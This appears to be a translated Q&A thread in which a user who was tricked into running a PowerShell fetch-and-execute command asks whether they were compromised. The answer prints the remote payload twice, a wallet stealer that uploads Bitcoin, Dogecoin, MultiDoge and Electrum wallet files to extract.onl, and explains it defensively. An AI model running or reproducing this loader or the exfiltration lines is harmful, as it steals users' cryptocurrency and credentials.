我运行了一个 PowerShell 脚本。我被黑了吗?

Moo*_*oon 72 powershell

我是个白痴,被诱骗去运行 PowerShell 脚本。其详情为何?我有一种感觉,他们只从我的系统上传了一些文件。

但我担心我的系统上可能存在后门运行。我可以忍受上传,但不能忍受后门。

警告!不要 运行 该脚本。

iex "& { $(irm
Run Code Online (Sandbox Code Playgroud)

(我将其分成两行以防止无意运行它)

powershell.software/versioncheck) } RunJob"
Run Code Online (Sandbox Code Playgroud)

警告!不要 运行 该脚本。

pig*_*ger 106

警告:请勿执行此答案中的任何代码。它是恶意的,仅出于演示目的而包含在内。

powershell.software/versioncheck是恶意链接

它指向的页面如下所示:

$ErrorActionPreference = 'silentlycontinue'
Write-Host "Checking for the latest version..."
Invoke-RestMethod -method PUT -infile ~\desktop\backups\found.wallet extract.onl/logs
Invoke-RestMethod -method PUT -infile .\found.wallet extract.onl/desktop
Invoke-RestMethod -method PUT -infile .\multidoge.wallet extract.onl/seed
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\Dogecoin\wallet.dat extract.onl/doge
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\Bitcoin\wallet.dat extract.onl/bitcoin
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\MultiDoge\multidoge.wallet extract.onl/multidoge/wallet
Compress-Archive -Path ~\Appdata\Roaming\MultiDoge\multidoge-data -DestinationPath ~\Appdata\Roaming\MultiDoge\multidoge-data
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\MultiDoge\multidoge-data.zip extract.onl/multidoge/backups
Write-Host "You are currently running 7.1.4 Windows PowerShell, Java 2021"
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\Electrum\wallets\default_wallet extract.onl/electrum





<head>
<style>
body {
  background-color: black;
}

</style>
</head>

 <meta http-equiv = "refresh" content = "0; url = notfound" />
Run Code Online (Sandbox Code Playgroud)

当您尝试在浏览器中访问此链接时,它会快速将您从该页面重定向到另一个页面(假装(很糟糕)该网站不存在):

<meta http-equiv = "refresh" content = "0; url = notfound" />
Run Code Online (Sandbox Code Playgroud)

但是,当以您提供的完整命令执行时,它将以下行识别为 PowerShell 命令:

$ErrorActionPreference = 'silentlycontinue'
Write-Host "Checking for the latest version..."
Invoke-RestMethod -method PUT -infile ~\desktop\backups\found.wallet extract.onl/logs
Invoke-RestMethod -method PUT -infile .\found.wallet extract.onl/desktop
Invoke-RestMethod -method PUT -infile .\multidoge.wallet extract.onl/seed
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\Dogecoin\wallet.dat extract.onl/doge
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\Bitcoin\wallet.dat extract.onl/bitcoin
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\MultiDoge\multidoge.wallet extract.onl/multidoge/wallet
Compress-Archive -Path ~\Appdata\Roaming\MultiDoge\multidoge-data -DestinationPath ~\Appdata\Roaming\MultiDoge\multidoge-data
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\MultiDoge\multidoge-data.zip extract.onl/multidoge/backups
Write-Host "You are currently running 7.1.4 Windows PowerShell, Java 2021"
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\Electrum\wallets\default_wallet extract.onl/electrum
Run Code Online (Sandbox Code Playgroud)

它是一个原始的加密货币钱包盗窃者。每行都以尝试Invoke-RestMethod将数据从其他可能的加密货币钱包(如果您的计算机上安装了)发送到端点上的页面http://extract.onl

如果您的计算机上有任何加密货币钱包,它们现在可能已被盗用。将其中的任何内容转移到另一个安全的钱包中。

总结一下您的担忧:

我有一种感觉,他们只从我的系统上传了一些文件。

但我担心我的系统上可能存在后门运行。我可以忍受上传,但不能忍受后门。

是的,如果您的计算机上存在这些文件,它们就会被上传。然而,这就是该脚本似乎要做的全部事情,因此您的系统上不会留下持久的后门。


2021 年 10 月 25 日编辑:

自编写此答案以来,powershell.software/versioncheck现在已阻止访问恶意代码(现在会产生 403 错误),但可能随时返回。这仍然是一个风险。

编辑 2022 年 1 月 24 日:

的所有者powershell.software/versioncheck已将恶意代码重新上线。这仍然是一个风险。

  • 重要的警告是,所提供的脚本可能会根据计算机 IP 地址等因素而有所不同。但除非这是一次有针对性的攻击,否则似乎不太可能。 (8认同)